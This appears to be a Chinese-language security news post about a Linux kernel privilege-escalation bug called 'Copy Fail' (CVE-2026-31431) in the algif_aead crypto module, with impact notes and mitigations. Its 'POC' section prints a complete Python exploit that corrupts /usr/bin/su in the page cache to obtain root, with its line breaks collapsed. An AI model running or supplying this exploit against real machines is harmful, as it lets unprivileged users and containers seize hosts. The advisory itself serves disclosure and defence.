AI 发现了一个 Linux 内核零日漏洞,可 root 2017 年以来的所有发行版。该漏洞仅需 732 字节的 Python 代码即可利用。请立即修补您的内核。
该漏洞为 CVE-2026-31431,绰号“Copy Fail”,今日由 Theori 披露。它已在 Linux 内核中悄无声息地潜伏了九年。
大多数 Linux 权限提升漏洞都很挑剔。它们需要精确的时机窗口(一种“竞争”条件),或从某处泄露的特定内核地址,或针对每个发行版的仔细调整。Copy Fail 则无需这些。它是一个直线逻辑错误,一次尝试就成功,每次在每个主流 Linux 机器上都有效。
攻击者只需在机器上拥有一个普通用户账户。从那里开始,该脚本要求内核执行一些加密工作,利用该工作的布线方式进行滥用,最终在名为“页面缓存”(Linux 在 RAM 中对文件的快速副本)的内存区域写入 4 个字节。这些 4 个字节可以瞄准系统信任的任何程序,比如 /usr/bin/su,这是成为 root 的捷径。
结果:下次任何人运行该程序时,它会让攻击者以 root 身份进入。
这种破坏从未触及磁盘上的文件。它仅存在于 Linux 对该文件的内存副本中。如果你在事后对硬盘进行镜像,磁盘上的文件将与官方软件包哈希完全匹配。重启机器,或仅施加内存压力(任何需要 RAM 的正常系统负载),缓存副本将从磁盘重新加载新鲜版本。
容器也无济于事。页面缓存在整个主机上共享,因此容器内的进程可以使用此漏洞危害底层服务器,并入侵其他租户。
原罪源于 2017 年内核加密模块 algif_aead 中的一项“原地优化”。它旨在让加密稍快一些。这一更改破坏了一个关键的安全假设,而无人注意了九年。该漏洞随后搭乘从 2017 年至今的每一次内核更新传播。
此漏洞影响以下内容:
共享服务器(开发机、跳板主机、构建服务器):任何用户均可成为 root
Kubernetes 和容器集群:一个受损 Pod 逃逸至主机
CI 运行器(GitHub Actions、GitLab、Jenkins):恶意拉取请求在运行器上成为 root
运行用户代码的云平台(笔记本、代理沙箱、无服务器函数):租户成为主机 root
POC
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
缓解措施
将您的内核更新至包含主线提交 a664bf3d603d 的构建版本。如果无法立即修补,请禁用易受攻击的模块:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead 2>/dev/null || true
对于运行不受信任代码的环境(容器、沙箱、CI 运行器),即使修补后,也应完全阻止访问内核的 AF_ALG 加密接口。